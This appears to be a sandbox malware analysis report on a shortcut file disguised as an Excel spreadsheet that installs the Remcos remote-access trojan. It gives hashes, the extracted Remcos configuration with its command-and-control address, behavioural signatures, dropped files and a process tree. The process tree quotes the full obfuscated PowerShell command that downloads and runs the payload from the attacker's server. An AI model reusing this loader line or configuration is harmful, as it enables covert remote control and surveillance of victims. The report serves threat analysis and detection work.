Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/08/2024, 10:59

General

  • Target

    rv_luti_2024_roku.xlsx lnk.lnk

  • Size

    32KB

  • MD5

    0ea3d54cecf6ea4d5e6739ffe9ce4be4

  • SHA1

    513dca9cb690972319181c4f31ac98dcd80ea895

  • SHA256

    ddd94d9d25f4ee02343b209e6d345457ef0b3efebccfd9a16b721e1c59a6cb03

  • SHA512

    33826667e53d5cdb60ccfeb84a309059e20ce5da79d7dde853578fcea99b44d2a92debe4d6da65f463223b48d1b9f510bb0c9c3b26e7fb0b2a5199eb6ead45d2

  • SSDEEP

    48:88muavUQSSesYOhI3YMEDo/i1xCoXEEDDo/L8A7NZdCZFXuGdZTa7x:88y8EesYeI3hX+xCRZR4uKQ

Malware Config

Extracted

Family

remcos

Botnet

feetfuck

C2

83.222.191.201:24251

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-XTJ1YO

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\rv_luti_2024_roku.xlsx lnk.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo TeuldrVGQbKMoxomeUoWOqhwvLOxvRa; echo kHymKfRwuZXnxCZJgAfmykUgOsaYlqvqidzuAVdr; echo BzhKUakeDaTwVhpLOdFPPdFVoZgkSjggfDEAGyfrfJLDRccpyaIWIA; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo kUBgvnjkEnVVtBTakWaQxmlPinKUrVTnqYKyBiuNzxKhEEivsinzTrJtp; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo KXIRBZFhgPOZEKacAcLhfiuehKFFEsRDolDsCVbHJSxXKtveGjGXJJi; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/rv_luti_2024_roku.xlsx -OutFile rv_luti_2024_roku.xlsx; echo QnvQaCnoZGPZHtQIYplmH; s''t''a''rt rv_luti_2024_roku.xlsx
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2924
      • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe
        "C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2000
        • C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:3284
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:4392
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2056
      • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Roaming\rv_luti_2024_roku.xlsx"
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4828
        • C:\Windows\splwow64.exe
          C:\Windows\splwow64.exe 12288
          4⤵
            PID:3124
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
      1⤵
        PID:4528

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\52c09142

        Filesize

        1.2MB

        MD5

        2b3547bdf3d1ce9b0b43fea02805c041

        SHA1

        f8af4b5ca346b1b5e0e9bf62d50d900130a25174

        SHA256

        392bd6197b19ab0d1cef047489ed76b7e94510be27e86ff77d41616103178943

        SHA512

        ee394bab234cf3233a5ac02a3709c26affc7be2200314f24bd4133d548fa5a5f0be5a5ce99075a57b9d6d8c005425963e94848468f2796e7e608bded959a4f35

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oedgkgic.yjw.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

        Filesize

        298B

        MD5

        3d74e7487b2d05d2670f7928395e6e35

        SHA1

        7b86d784f9f5e503e5e0a9f54bd9f5f2e03ee7dc

        SHA256

        ea0c460472633c06b2998df75c3a78a1e213c223b2df7191fa2e774fe2c7c10f

        SHA512

        7834c8fa0b29539028b5c53681444fa74fed1f5e8fb678a889a96b6d1ce196c38bb77bbedb071a83ba0f1a5e2ddc27d921b5f4ee36fcf586d2e1f1892e41c47d

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

        Filesize

        1KB

        MD5

        99f31aff0342e3d482a2905a0083f020

        SHA1

        26b855089a5501cea02554f3228b235a56a4f5f9

        SHA256

        db2050c84c4fe2ec2f7fa923513b1e1d1686dbb32416b6a702de503e72480634

        SHA512

        6cd3755f2ad7fa68b80e6d1fa2c9d79964e0c112ffd763179a269b94fca74fed07862b53c6cb905a6e9582ecc1a23319b7b3c3cf55d92f285c36c12f65757d75

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

        Filesize

        2KB

        MD5

        2edf0ffacc1ffea14479b7bac11125de

        SHA1

        593daf60cf03ec5f176b8a4597bbdabcaa3a0e1e

        SHA256

        6bcf6d13da699161b63e0a0ff405890694172688096c4870156f07ede4caeaca

        SHA512

        d10c7a60a1e7e9e1d97f99240aaf3c4fecc6c453d4e3c23584ad1b961da8cdeee933aca7725bf36d1049021d61d1b052d395689919795e13eb37036b9ff211be

      • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe

        Filesize

        2.1MB

        MD5

        db7e67835fce6cf9889f0f68ca9c29a9

        SHA1

        5565afda37006a66f0e4546105be60bbe7970616

        SHA256

        dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738

        SHA512

        bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b

      • C:\Users\Admin\AppData\Roaming\SecurityCheck\ProductStatistics3.dll

        Filesize

        1.1MB

        MD5

        59c15c71fd599ff745a862d0b8932919

        SHA1

        8384f88b4cac4694cf510ca0d3f867fd83cc9e18

        SHA256

        c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2

        SHA512

        be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e

      • C:\Users\Admin\AppData\Roaming\SecurityCheck\RegisterIdr.dll

        Filesize

        1.4MB

        MD5

        6fdb2e9ca6b7a5ad510e2b29831e3bc8

        SHA1

        4a14ee9d5660eb271a6b5f18a55ac3e05f952c68

        SHA256

        f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38

        SHA512

        d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06

      • C:\Users\Admin\AppData\Roaming\SecurityCheck\kytarvx

        Filesize

        31KB

        MD5

        5dc69a3e2fda6cb740f363ef77edcc13

        SHA1

        c177fabf17346531e07d562be11915bf2822148a

        SHA256

        7c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621

        SHA512

        b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f

      • C:\Users\Admin\AppData\Roaming\SecurityCheck\nywrof

        Filesize

        1.0MB

        MD5

        471076308d78944d45ab35d37134134a

        SHA1

        05cf2cf6e5d11ce10425b14d68cda3246cc47263

        SHA256

        38d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b

        SHA512

        7f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3

      • C:\Users\Admin\AppData\Roaming\rv_luti_2024_roku.xlsx

        Filesize

        32KB

        MD5

        21046015d5d9ef5e536ac7643b1ab365

        SHA1

        f3bcd22d8e9b5ad1c2e17b42d5684421b2ddfb05

        SHA256

        7a94cedcc9624dbe8eb4ad818fbaf2a53f9ca0fe2ff28b3000a597e034b520bd

        SHA512

        d63030de97a378e9bb73ce53f589c75f1da9e6fb3998da02680a9396b75ebf6773119d61e5663c007379c85413a8d023e1df2323038314d357ac64bd770b9c9e

      • memory/2000-72-0x0000000000400000-0x0000000000669000-memory.dmp

        Filesize

        2.4MB

      • memory/2000-58-0x00007FFE10BB0000-0x00007FFE10DA5000-memory.dmp

        Filesize

        2.0MB

      • memory/2000-44-0x0000000002BB0000-0x0000000002CCE000-memory.dmp

        Filesize

        1.1MB

      • memory/2000-74-0x0000000002F60000-0x00000000030D2000-memory.dmp

        Filesize

        1.4MB

      • memory/2000-49-0x0000000002F60000-0x00000000030D2000-memory.dmp

        Filesize

        1.4MB

      • memory/2000-54-0x0000000074CE0000-0x0000000074E5B000-memory.dmp

        Filesize

        1.5MB

      • memory/2000-73-0x0000000002BB0000-0x0000000002CCE000-memory.dmp

        Filesize

        1.1MB

      • memory/2056-141-0x0000000000D10000-0x0000000000D93000-memory.dmp

        Filesize

        524KB

      • memory/2056-140-0x00007FFE10BB0000-0x00007FFE10DA5000-memory.dmp

        Filesize

        2.0MB

      • memory/2056-173-0x0000000000D10000-0x0000000000D93000-memory.dmp

        Filesize

        524KB

      • memory/2056-172-0x0000000000D10000-0x0000000000D93000-memory.dmp

        Filesize

        524KB

      • memory/2056-171-0x0000000000D10000-0x0000000000D93000-memory.dmp

        Filesize

        524KB

      • memory/2056-170-0x0000000000D10000-0x0000000000D93000-memory.dmp

        Filesize

        524KB

      • memory/2056-169-0x0000000000D10000-0x0000000000D93000-memory.dmp

        Filesize

        524KB

      • memory/2056-152-0x0000000000D10000-0x0000000000D93000-memory.dmp

        Filesize

        524KB

      • memory/2056-151-0x0000000000D10000-0x0000000000D93000-memory.dmp

        Filesize

        524KB

      • memory/2056-150-0x0000000000D10000-0x0000000000D93000-memory.dmp

        Filesize

        524KB

      • memory/2056-147-0x0000000000D10000-0x0000000000D93000-memory.dmp

        Filesize

        524KB

      • memory/2056-144-0x0000000000D10000-0x0000000000D93000-memory.dmp

        Filesize

        524KB

      • memory/2924-14-0x00007FFDF2640000-0x00007FFDF3101000-memory.dmp

        Filesize

        10.8MB

      • memory/2924-13-0x00007FFDF2640000-0x00007FFDF3101000-memory.dmp

        Filesize

        10.8MB

      • memory/2924-57-0x00007FFDF2640000-0x00007FFDF3101000-memory.dmp

        Filesize

        10.8MB

      • memory/2924-19-0x0000015D9E1E0000-0x0000015D9E1EA000-memory.dmp

        Filesize

        40KB

      • memory/2924-16-0x00007FFDF2643000-0x00007FFDF2645000-memory.dmp

        Filesize

        8KB

      • memory/2924-18-0x0000015D9E200000-0x0000015D9E212000-memory.dmp

        Filesize

        72KB

      • memory/2924-2-0x00007FFDF2643000-0x00007FFDF2645000-memory.dmp

        Filesize

        8KB

      • memory/2924-8-0x0000015D9DD10000-0x0000015D9DD32000-memory.dmp

        Filesize

        136KB

      • memory/2924-17-0x00007FFDF2640000-0x00007FFDF3101000-memory.dmp

        Filesize

        10.8MB

      • memory/3284-115-0x0000000074CE0000-0x0000000074E5B000-memory.dmp

        Filesize

        1.5MB

      • memory/3284-83-0x0000000002E10000-0x0000000002F82000-memory.dmp

        Filesize

        1.4MB

      • memory/3284-111-0x0000000002E10000-0x0000000002F82000-memory.dmp

        Filesize

        1.4MB

      • memory/3284-79-0x0000000002A50000-0x0000000002B6E000-memory.dmp

        Filesize

        1.1MB

      • memory/3284-87-0x0000000074CE0000-0x0000000074E5B000-memory.dmp

        Filesize

        1.5MB

      • memory/3284-88-0x00007FFE10BB0000-0x00007FFE10DA5000-memory.dmp

        Filesize

        2.0MB

      • memory/3284-109-0x0000000000400000-0x0000000000669000-memory.dmp

        Filesize

        2.4MB

      • memory/3284-110-0x0000000002A50000-0x0000000002B6E000-memory.dmp

        Filesize

        1.1MB

      • memory/4392-138-0x0000000074CE0000-0x0000000074E5B000-memory.dmp

        Filesize

        1.5MB

      • memory/4392-136-0x00007FFE10BB0000-0x00007FFE10DA5000-memory.dmp

        Filesize

        2.0MB

      • memory/4828-167-0x00007FFDD0C30000-0x00007FFDD0C40000-memory.dmp

        Filesize

        64KB

      • memory/4828-66-0x00007FFDD0C30000-0x00007FFDD0C40000-memory.dmp

        Filesize

        64KB

      • memory/4828-165-0x00007FFDD0C30000-0x00007FFDD0C40000-memory.dmp

        Filesize

        64KB

      • memory/4828-166-0x00007FFDD0C30000-0x00007FFDD0C40000-memory.dmp

        Filesize

        64KB

      • memory/4828-61-0x00007FFDD0C30000-0x00007FFDD0C40000-memory.dmp

        Filesize

        64KB

      • memory/4828-168-0x00007FFDD0C30000-0x00007FFDD0C40000-memory.dmp

        Filesize

        64KB

      • memory/4828-85-0x00007FFDCE650000-0x00007FFDCE660000-memory.dmp

        Filesize

        64KB

      • memory/4828-75-0x00007FFDCE650000-0x00007FFDCE660000-memory.dmp

        Filesize

        64KB

      • memory/4828-60-0x00007FFDD0C30000-0x00007FFDD0C40000-memory.dmp

        Filesize

        64KB

      • memory/4828-63-0x00007FFDD0C30000-0x00007FFDD0C40000-memory.dmp

        Filesize

        64KB

      • memory/4828-59-0x00007FFDD0C30000-0x00007FFDD0C40000-memory.dmp

        Filesize

        64KB